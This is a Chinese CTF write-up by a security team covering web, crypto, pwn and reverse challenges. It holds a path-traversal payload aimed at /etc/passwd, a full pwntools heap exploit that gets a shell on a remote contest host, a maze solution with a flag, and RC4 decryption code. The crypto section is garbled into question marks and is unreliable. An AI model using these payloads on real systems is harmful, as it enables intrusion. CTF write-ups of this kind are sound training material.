鲲鹏计算专场-WriteUp
Web
babyphp
<link href="../../../../../../../../.css/../../etc/passwd">
? ? ? ?
Crypto
RRSSAA? ? ??
? ? ? ?
? ? ? ?
? ?
Combinelfsr? ? ? ?
? ? ?
?
backpack? ? ? ?
? ? ? ?? ? ? ?
? ? ? ?
?
Pwn
HONORBOOK
msg里存在off by one,常规构造chunk overlap 然后tcache打free hook。get shell
from?pwn?import?*
context.log_level?=?'debug'
#p?=?process(["./qemu-riscv64",?"-L",?"./libs",?"./honorbook"])
p?=?remote("121.36.192.114",?9999)
def?add(idx,?usr,?msg):
?p.sendlineafter("Code:?",?"1")
?p.sendlineafter("ID:?",?str(idx))
?p.sendafter("User?name:?",?usr)
?p.sendafter("Msg:?",?msg)
def?free(idx):
?p.sendlineafter("Code:?",?"2")
?p.sendlineafter("ID:?",?str(idx))
def?show(idx):
?p.sendlineafter("Code:?",?"3")
?p.sendlineafter("ID:?",?str(idx))
def?edit(idx,?msg):
?p.sendlineafter("Code:?",?"4")
?p.sendlineafter("Index:?",?str(idx))
?p.sendafter("Msg:?",?msg)
def?exp():
?add(0,?'/bin/sh\x00',?'b'*0xe9)
?add(1,?'a'*0x18,?'c'*0xe9)
?add(2,?'a'*0x18,?'d'*0xe9)
?add(3,?'a'*0x18,?'e'*0xe9)
?free(1)
?add(1,?'a'*0x18,?'d'*0xe8+'\xf1')
?free(2)
?add(2,?'a',?'f'*0x20+p64(0x0)+p64(0x501)+p64(0)+'\n')
?add(4,?'a',?'g'*0xe9)
?add(5,?'a'*0x18,?(p64(0)+p64(0x21))*14+'\n')
?add(6,?'a'*0x18,?(p64(0)+p64(0x21))*14+'\n')
?add(7,?'a'*0x18,?(p64(0)+p64(0x21))*14+'\n')
?add(8,?'a'*0x18,?(p64(0)+p64(0x21))*14+'\n')
?add(9,?'a'*0x18,?(p64(0)+p64(0x21))*14+'\n')
?add(10,?'a'*0x18,?(p64(0)+p64(0x21))*14+'\n')
?free(4)
?add(4,?'a',?'g\n')
?add(11,?'a'*4,?'g\n')
?show(3)
?p.recvuntil('a'*4)
?high?=?p.recvuntil('\x0a',?drop?=?True)
?show(2)
?p.recvuntil("Username:?")
?low?=?p.recvuntil('\x0a',?drop?=?True)
?libc_base?=?u64((low+'\x00'+high).ljust(8,?'\x00'))-0x107990-88-0x10
?print?hex(libc_base)
?add(12,?'a'*4,?'g\n')
?free(2)
?edit(12,?p64(libc_base+0x000000000109838))
?add(13,?p64(0),?p64(libc_base+0x388fe)+'\n')
?add(14,?p64(0),?p64(libc_base+0x388fe)+'\n')
?free(0)
?p.interactive()
if?__name__?==?'__main__':
?exp()
Reverse
mips
maze?=?"""1,?1,?1,?1,?1,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?1,?1,
1,?1,?1,?0,?3,?0,?1,?0,?0,?0,?0,?0,?0,?1,?1,?1,?1,
1,?0,?1,?0,?1,?0,?0,?0,?0,?0,?0,?1,?1,?1,?1,?1,?0,
1,?0,?1,?0,?0,?0,?0,?0,?0,?1,?1,?1,?1,?1,?0,?1,?0,
1,?1,?1,?1,?1,?0,?0,?1,?1,?1,?1,?1,?0,?1,?0,?0,?0,
0,?0,?1,?0,?0,?1,?1,?1,?1,?1,?0,?1,?0,?0,?0,?0,?0,
1,?0,?0,?1,?1,?1,?1,?1,?0,?1,?0,?0,?0,?0,?0,?1,?1,
0,?1,?1,?1,?1,?1,?0,?1,?1,?1,?1,?1,?1,?1,?1,?0,?1,
1,?1,?1,?1,?0,?0,?0,?0,?0,?0,?0,?0,?4,?0,?1,?1,?1,
1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,
1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,
1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,
1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,
1,?1,?1,?1,?1,?1,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,
0,?0,?1,?1,?0,?3,?0,?1,?1,?1,?1,?0,?0,?0,?0,?0,?0,
1,?1,?0,?1,?0,?0,?0,?0,?1,?0,?0,?0,?0,?0,?0,?1,?1,
0,?1,?0,?0,?0,?0,?1,?0,?0,?0,?0,?0,?0,?1,?1,?0,?1,
1,?0,?0,?0,?1,?1,?1,?1,?1,?0,?0,?1,?1,?0,?1,?1,?0,
0,?0,?0,?0,?0,?0,?1,?0,?0,?1,?1,?0,?1,?1,?0,?0,?0,
0,?0,?0,?0,?1,?0,?0,?1,?1,?0,?1,?1,?0,?0,?0,?0,?0,
1,?1,?1,?1,?0,?1,?1,?0,?1,?1,?0,?0,?0,?0,?0,?1,?0,
0,?1,?0,?1,?1,?0,?1,?1,?0,?0,?0,?0,?0,?1,?0,?0,?0,
0,?1,?1,?0,?1,?1,?1,?1,?1,?1,?0,?1,?0,?1,?1,?0,?1,
1,?0,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?0,?1,?1,?0,
0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?4,?0,?1,?1,?1,?1,?1,
1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,
1,?1,?1,?1,?1,?1,?1,?1,?0,?0,?0,?0,?0,?0,?0,?0,?0,
0,?0,?0,?0,?0,?0,?0,?3,?1,?1,?0,?0,?0,?0,?0,?0,?0,
0,?0,?0,?0,?0,?0,?0,?1,?0,?1,?1,?1,?0,?0,?0,?0,?0,
0,?0,?0,?0,?0,?1,?1,?1,?0,?1,?0,?0,?0,?0,?0,?0,?0,
0,?0,?0,?0,?1,?0,?0,?1,?0,?0,?0,?0,?0,?0,?0,?0,?1,
1,?0,?1,?0,?0,?1,?0,?0,?0,?0,?0,?0,?0,?0,?0,?1,?1,
1,?0,?0,?1,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,
0,?1,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?1,
1,?1,?1,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,
1,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?1,?0,
0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?1,?0,?0,?0,
0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?1,?1,?1,?1,?0,?0,
0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?1,?0,?0,?0,?0,
0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?4,?0,?0"""
maze?=?maze.split(',')
print?maze
for?i?in?range(45):
????for?j?in?range(15):
????????print?maze[i*15+j].strip(),
????print?"\n"
????if?i+1%15==0:
????????print?"---------------------------"
走路就行了
?
flag{999ea6aa6c365ab43eec2a0f0e5968d5}
pypy
使用objcopy dump下

之后将数据使用py库跑一下拿到pyc

之后反编译
得到main.py

使用gdb attach 得到key
DEFAULT_KEY?=?'Yó\x02?%\x9a\x820\x0b?%\x7f~;??'
解密
把python代码里边的代码抠出来直接用
DEFAULT_KEY?=?'Yó\x02?%\x9a\x820\x0b?%\x7f~;??'
def?rc4(O0O0O0000O0OOOO0O,?key=DEFAULT_KEY,?skip=1024):
????O00OOOOOOO00OO00O?=?0
????OO0OOOO0000OO00OO?=?bytearray([OO00OOOO0OOOOO00O?for?OO00OOOO0OOOOO00O?in?range(256)])
????O00OOOOOOO00OO00O?=?0
????for?OOOO000OOO00O000O?in?range(256):
????????O00OOOOOOO00OO00O?=?(O00OOOOOOO00OO00O?+?OO0OOOO0000OO00OO[OOOO000OOO00O000O]?+?ord(key[(OOOO000OOO00O000O?%?len(key))]))?%?256
????????OO000O0O0OOOOO0OO?=?OO0OOOO0000OO00OO[OOOO000OOO00O000O]
????????O000O0OO00O00000O?=?OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]
????????OO0OOOO0000OO00OO[OOOO000OOO00O000O]?=?OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]
????????OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]?=?OO000O0O0OOOOO0OO
????else:
????????O00OOOOOOO00OO00O?=?0
????????O0O0OO0OO00OOOOO0?=?0
????????OO0OOO000000OO0O0?=?[]
????????if?skip?>?0:
????????????for?OOOO000OOO00O000O?in?range(skip):
????????????????O00OOOOOOO00OO00O?=?(O00OOOOOOO00OO00O?+?1)?%?256
????????????????O0O0OO0OO00OOOOO0?=?(O0O0OO0OO00OOOOO0?+?OO0OOOO0000OO00OO[O00OOOOOOO00OO00O])?%?256
????????????????OO0OOOO0000OO00OO[O00OOOOOOO00OO00O],?OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0]?=?OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0],?OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]
????????for?O0000O0OOO000OO0O?in?O0O0O0000O0OOOO0O:
????????????O00OOOOOOO00OO00O?=?(O00OOOOOOO00OO00O?+?1)?%?256
????????????O0O0OO0OO00OOOOO0?=?(O0O0OO0OO00OOOOO0?+?OO0OOOO0000OO00OO[O00OOOOOOO00OO00O])?%?256
????????????OO0OOOO0000OO00OO[O00OOOOOOO00OO00O],?OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0]?=?OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0],?OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]
????????????O0O0OOOO0OOOOO0OO?=?OO0OOOO0000OO00OO[((OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]?+?OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0])?%?256)]
????????????OO0OOO000000OO0O0.append(chr(ord(O0000O0OOO000OO0O)?^?O0O0OOOO0OOOOO0OO))
????????else:
????????????return?''.join(OO0OOO000000OO0O0)
cip?=?'275b39c381c28b701ac3972338456022c2ba06c3b04f5501471c47c38ac380c29b72c3b5c38a7ec2a5c2a0'
print(rc4(bytes.fromhex(cip).decode()))

结束
招新小广告
ChaMd5?Venom?招收大佬入圈
新成立组IOT+工控+样本分析?长期招新
欢迎联系admin@chamd5.org

关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 习近平将发表二〇二六年新年贺词 7904141
- 2 2026年国补政策来了 7808738
- 3 东部战区:开火!开火!全部命中! 7712893
- 4 2026年这些民生政策将惠及百姓 7616985
- 5 小学食堂米线过期2.5小时被罚5万 7519709
- 6 解放军喊话驱离台军 原声曝光 7428214
- 7 为博流量直播踩烈士陵墓?绝不姑息 7327605
- 8 每月最高800元!多地发放养老消费券 7238391
- 9 数字人民币升级 1月1日起将计付利息 7141831
- 10 2026年1月1日起 一批新规将施行 7040675








Chamd5安全团队
